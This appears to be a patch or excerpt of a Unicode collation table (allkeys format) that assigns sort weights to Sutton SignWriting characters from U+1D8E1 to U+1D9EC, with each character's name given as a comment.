+1D8E1 ; [*1920.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX BENT
+1D8E2 ; [*1921.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE BOTH BENT
+1D8E3 ; [*1922.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX HINGE
+1D8E4 ; [*1923.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX STRAIGHT
+1D8E5 ; [*1924.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX BENT
+1D8E6 ; [*1925.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOK
+1D8E7 ; [*1926.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURLICUE
+1D8E8 ; [*1927.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB INSIDE
+1D8E9 ; [*1928.0020.0002] # SIGNWRITING HAND-CLAW INDEX THUMB CURVE THUMB INSIDE
+1D8EA ; [*1929.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB UNDER
+1D8EB ; [*192A.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLE
+1D8EC ; [*192B.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB
+1D8ED ; [*192C.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB OPEN
+1D8EE ; [*192D.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB OPEN
+1D8EF ; [*192E.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB LARGE
+1D8F0 ; [*192F.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB
+1D8F1 ; [*1930.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SMALL
+1D8F2 ; [*1931.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB OUT
+1D8F3 ; [*1932.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB IN
+1D8F4 ; [*1933.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB
+1D8F5 ; [*1934.0020.0002] # SIGNWRITING HAND-FIST THUMB
+1D8F6 ; [*1935.0020.0002] # SIGNWRITING HAND-FIST THUMB HEEL
+1D8F7 ; [*1936.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE DIAGONAL
+1D8F8 ; [*1937.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE CONJOINED
+1D8F9 ; [*1938.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE BENT
+1D8FA ; [*1939.0020.0002] # SIGNWRITING HAND-FIST THUMB FORWARD
+1D8FB ; [*193A.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE
+1D8FC ; [*193B.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN MIDDLE RING
+1D8FD ; [*193C.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN RING LITTLE
+1D8FE ; [*193D.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER TWO FINGERS
+1D8FF ; [*193E.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER TWO FINGERS
+1D900 ; [*193F.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER THREE FINGERS
+1D901 ; [*1940.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER FOUR FINGERS
+1D902 ; [*1941.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER FOUR RAISED KNUCKLES
+1D903 ; [*1942.0020.0002] # SIGNWRITING HAND-FIST
+1D904 ; [*1943.0020.0002] # SIGNWRITING HAND-FIST HEEL
+1D905 ; [*1944.0020.0002] # SIGNWRITING TOUCH SINGLE
+1D906 ; [*1945.0020.0002] # SIGNWRITING TOUCH MULTIPLE
+1D907 ; [*1946.0020.0002] # SIGNWRITING TOUCH BETWEEN
+1D908 ; [*1947.0020.0002] # SIGNWRITING GRASP SINGLE
+1D909 ; [*1948.0020.0002] # SIGNWRITING GRASP MULTIPLE
+1D90A ; [*1949.0020.0002] # SIGNWRITING GRASP BETWEEN
+1D90B ; [*194A.0020.0002] # SIGNWRITING STRIKE SINGLE
+1D90C ; [*194B.0020.0002] # SIGNWRITING STRIKE MULTIPLE
+1D90D ; [*194C.0020.0002] # SIGNWRITING STRIKE BETWEEN
+1D90E ; [*194D.0020.0002] # SIGNWRITING BRUSH SINGLE
+1D90F ; [*194E.0020.0002] # SIGNWRITING BRUSH MULTIPLE
+1D910 ; [*194F.0020.0002] # SIGNWRITING BRUSH BETWEEN
+1D911 ; [*1950.0020.0002] # SIGNWRITING RUB SINGLE
+1D912 ; [*1951.0020.0002] # SIGNWRITING RUB MULTIPLE
+1D913 ; [*1952.0020.0002] # SIGNWRITING RUB BETWEEN
+1D914 ; [*1953.0020.0002] # SIGNWRITING SURFACE SYMBOLS
+1D915 ; [*1954.0020.0002] # SIGNWRITING SURFACE BETWEEN
+1D916 ; [*1955.0020.0002] # SIGNWRITING SQUEEZE LARGE SINGLE
+1D917 ; [*1956.0020.0002] # SIGNWRITING SQUEEZE SMALL SINGLE
+1D918 ; [*1957.0020.0002] # SIGNWRITING SQUEEZE LARGE MULTIPLE
+1D919 ; [*1958.0020.0002] # SIGNWRITING SQUEEZE SMALL MULTIPLE
+1D91A ; [*1959.0020.0002] # SIGNWRITING SQUEEZE SEQUENTIAL
+1D91B ; [*195A.0020.0002] # SIGNWRITING FLICK LARGE SINGLE
+1D91C ; [*195B.0020.0002] # SIGNWRITING FLICK SMALL SINGLE
+1D91D ; [*195C.0020.0002] # SIGNWRITING FLICK LARGE MULTIPLE
+1D91E ; [*195D.0020.0002] # SIGNWRITING FLICK SMALL MULTIPLE
+1D91F ; [*195E.0020.0002] # SIGNWRITING FLICK SEQUENTIAL
+1D920 ; [*195F.0020.0002] # SIGNWRITING SQUEEZE FLICK ALTERNATING
+1D921 ; [*1960.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN LARGE
+1D922 ; [*1961.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN SMALL
+1D923 ; [*1962.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP SEQUENTIAL
+1D924 ; [*1963.0020.0002] # SIGNWRITING MOVEMENT-HINGE DOWN SEQUENTIAL
+1D925 ; [*1964.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING LARGE
+1D926 ; [*1965.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING SMALL
+1D927 ; [*1966.0020.0002] # SIGNWRITING MOVEMENT-HINGE SIDE TO SIDE SCISSORS
+1D928 ; [*1967.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CONTACT
+1D929 ; [*1968.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CONTACT
+1D92A ; [*1969.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT SMALL
+1D92B ; [*196A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT MEDIUM
+1D92C ; [*196B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGE
+1D92D ; [*196C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGEST
+1D92E ; [*196D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE WRIST FLEX
+1D92F ; [*196E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE STRAIGHT
+1D930 ; [*196F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE WRIST FLEX
+1D931 ; [*1970.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING
+1D932 ; [*1971.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING WRIST FLEX
+1D933 ; [*1972.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CROSS
+1D934 ; [*1973.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE STRAIGHT MOVEMENT
+1D935 ; [*1974.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE WRIST FLEX
+1D936 ; [*1975.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING
+1D937 ; [*1976.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING WRIST FLEX
+1D938 ; [*1977.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND SMALL
+1D939 ; [*1978.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND MEDIUM
+1D93A ; [*1979.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND LARGE
+1D93B ; [*197A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER SMALL
+1D93C ; [*197B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER MEDIUM
+1D93D ; [*197C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER LARGE
+1D93E ; [*197D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER ROTATION
+1D93F ; [*197E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK SMALL
+1D940 ; [*197F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK MEDIUM
+1D941 ; [*1980.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK LARGE
+1D942 ; [*1981.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX SMALL
+1D943 ; [*1982.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX MEDIUM
+1D944 ; [*1983.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX LARGE
+1D945 ; [*1984.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG SMALL
+1D946 ; [*1985.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG MEDIUM
+1D947 ; [*1986.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG LARGE
+1D948 ; [*1987.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS SMALL
+1D949 ; [*1988.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS MEDIUM
+1D94A ; [*1989.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS LARGE
+1D94B ; [*198A.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE SINGLE
+1D94C ; [*198B.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE DOUBLE
+1D94D ; [*198C.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE ALTERNATING
+1D94E ; [*198D.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE SINGLE
+1D94F ; [*198E.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE DOUBLE
+1D950 ; [*198F.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE ALTERNATING
+1D951 ; [*1990.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE SHAKING
+1D952 ; [*1991.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL SINGLE
+1D953 ; [*1992.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL DOUBLE
+1D954 ; [*1993.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL TRIPLE
+1D955 ; [*1994.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY SMALL
+1D956 ; [*1995.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY MEDIUM
+1D957 ; [*1996.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGE
+1D958 ; [*1997.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGEST
+1D959 ; [*1998.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS SMALL
+1D95A ; [*1999.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS MEDIUM
+1D95B ; [*199A.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGE
+1D95C ; [*199B.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGEST
+1D95D ; [*199C.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY SMALL
+1D95E ; [*199D.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY MEDIUM
+1D95F ; [*199E.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGE
+1D960 ; [*199F.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGEST
+1D961 ; [*19A0.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS SMALL
+1D962 ; [*19A1.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS MEDIUM
+1D963 ; [*19A2.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGE
+1D964 ; [*19A3.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGEST
+1D965 ; [*19A4.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT SMALL
+1D966 ; [*19A5.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT MEDIUM
+1D967 ; [*19A6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGE
+1D968 ; [*19A7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGEST
+1D969 ; [*19A8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE WRIST FLEX
+1D96A ; [*19A9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE STRAIGHT
+1D96B ; [*19AA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE WRIST FLEX
+1D96C ; [*19AB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING
+1D96D ; [*19AC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING WRIST FLEX
+1D96E ; [*19AD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CROSS
+1D96F ; [*19AE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE STRAIGHT MOVEMENT
+1D970 ; [*19AF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE WRIST FLEX
+1D971 ; [*19B0.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING MOVEMENT
+1D972 ; [*19B1.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING WRIST FLEX
+1D973 ; [*19B2.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BEND
+1D974 ; [*19B3.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER SMALL
+1D975 ; [*19B4.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER MEDIUM
+1D976 ; [*19B5.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER LARGE
+1D977 ; [*19B6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CHECK
+1D978 ; [*19B7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX SMALL
+1D979 ; [*19B8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX MEDIUM
+1D97A ; [*19B9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX LARGE
+1D97B ; [*19BA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG SMALL
+1D97C ; [*19BB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG MEDIUM
+1D97D ; [*19BC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG LARGE
+1D97E ; [*19BD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS SMALL
+1D97F ; [*19BE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS MEDIUM
+1D980 ; [*19BF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS LARGE
+1D981 ; [*19C0.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE SINGLE
+1D982 ; [*19C1.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE DOUBLE
+1D983 ; [*19C2.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE ALTERNATING
+1D984 ; [*19C3.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE SINGLE
+1D985 ; [*19C4.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE DOUBLE
+1D986 ; [*19C5.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE ALTERNATING
+1D987 ; [*19C6.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE SHAKING
+1D988 ; [*19C7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER SMALL
+1D989 ; [*19C8.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER MEDIUM
+1D98A ; [*19C9.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGE
+1D98B ; [*19CA.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGEST
+1D98C ; [*19CB.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE SMALL
+1D98D ; [*19CC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE MEDIUM
+1D98E ; [*19CD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGE
+1D98F ; [*19CE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGEST
+1D990 ; [*19CF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE SMALL
+1D991 ; [*19D0.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE MEDIUM
+1D992 ; [*19D1.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP SMALL
+1D993 ; [*19D2.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP MEDIUM
+1D994 ; [*19D3.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP LARGE
+1D995 ; [*19D4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL
+1D996 ; [*19D5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP MEDIUM
+1D997 ; [*19D6.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP LARGE
+1D998 ; [*19D7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL DOUBLE
+1D999 ; [*19D8.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE SMALL
+1D99A ; [*19D9.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE MEDIUM
+1D99B ; [*19DA.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE LARGE
+1D99C ; [*19DB.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE SMALL
+1D99D ; [*19DC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE MEDIUM
+1D99E ; [*19DD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE LARGE
+1D99F ; [*19DE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THEN STRAIGHT
+1D9A0 ; [*19DF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS SMALL
+1D9A1 ; [*19E0.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS MEDIUM
+1D9A2 ; [*19E1.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE
+1D9A3 ; [*19E2.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE
+1D9A4 ; [*19E3.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATE
+1D9A5 ; [*19E4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SHAKING
+1D9A6 ; [*19E5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING FRONT WALL
+1D9A7 ; [*19E6.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING FRONT WALL
+1D9A8 ; [*19E7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING FRONT WALL
+1D9A9 ; [*19E8.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING FRONT WALL
+1D9AA ; [*19E9.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING FRONT WALL
+1D9AB ; [*19EA.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING FRONT WALL
+1D9AC ; [*19EB.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING FRONT WALL
+1D9AD ; [*19EC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING CHEST
+1D9AE ; [*19ED.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING CHEST
+1D9AF ; [*19EE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING CHEST
+1D9B0 ; [*19EF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING CHEST
+1D9B1 ; [*19F0.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING CHEST
+1D9B2 ; [*19F1.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING CHEST
+1D9B3 ; [*19F2.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING CHEST
+1D9B4 ; [*19F3.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH SMALL
+1D9B5 ; [*19F4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH MEDIUM
+1D9B6 ; [*19F5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH LARGE
+1D9B7 ; [*19F6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING SMALL
+1D9B8 ; [*19F7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING LARGE
+1D9B9 ; [*19F8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL DOUBLE
+1D9BA ; [*19F9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE DOUBLE
+1D9BB ; [*19FA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL TRIPLE
+1D9BC ; [*19FB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE TRIPLE
+1D9BD ; [*19FC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL SINGLE
+1D9BE ; [*19FD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE SINGLE
+1D9BF ; [*19FE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL DOUBLE
+1D9C0 ; [*19FF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE DOUBLE
+1D9C1 ; [*1A00.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING SMALL
+1D9C2 ; [*1A01.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING LARGE
+1D9C3 ; [*1A02.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING CEILING
+1D9C4 ; [*1A03.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING CEILING
+1D9C5 ; [*1A04.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING CEILING
+1D9C6 ; [*1A05.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR SMALL
+1D9C7 ; [*1A06.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR LARGE
+1D9C8 ; [*1A07.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR SMALL DOUBLE
+1D9C9 ; [*1A08.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR LARGE DOUBLE
+1D9CA ; [*1A09.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE SMALL TRIPLE
+1D9CB ; [*1A0A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE LARGE TRIPLE
+1D9CC ; [*1A0B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL SINGLE
+1D9CD ; [*1A0C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE SINGLE
+1D9CE ; [*1A0D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL DOUBLE
+1D9CF ; [*1A0E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE DOUBLE
+1D9D0 ; [*1A0F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR SMALL
+1D9D1 ; [*1A10.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR LARGE
+1D9D2 ; [*1A11.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING FLOOR
+1D9D3 ; [*1A12.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING FLOOR
+1D9D4 ; [*1A13.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING FLOOR
+1D9D5 ; [*1A14.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE SMALL
+1D9D6 ; [*1A15.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE MEDIUM
+1D9D7 ; [*1A16.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGE
+1D9D8 ; [*1A17.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGEST
+1D9D9 ; [*1A18.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE COMBINED
+1D9DA ; [*1A19.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP SMALL
+1D9DB ; [*1A1A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP SMALL
+1D9DC ; [*1A1B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SNAKE
+1D9DD ; [*1A1C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SMALL
+1D9DE ; [*1A1D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE LARGE
+1D9DF ; [*1A1E.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE
+1D9E0 ; [*1A1F.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE
+1D9E1 ; [*1A20.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING
+1D9E2 ; [*1A21.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SHAKING PARALLEL
+1D9E3 ; [*1A22.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL SINGLE
+1D9E4 ; [*1A23.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM SINGLE
+1D9E5 ; [*1A24.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL DOUBLE
+1D9E6 ; [*1A25.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM DOUBLE
+1D9E7 ; [*1A26.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL SINGLE
+1D9E8 ; [*1A27.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM SINGLE
+1D9E9 ; [*1A28.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE SINGLE
+1D9EA ; [*1A29.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL DOUBLE
+1D9EB ; [*1A2A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM DOUBLE
+1D9EC ; [*1A2B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE DOUBLE
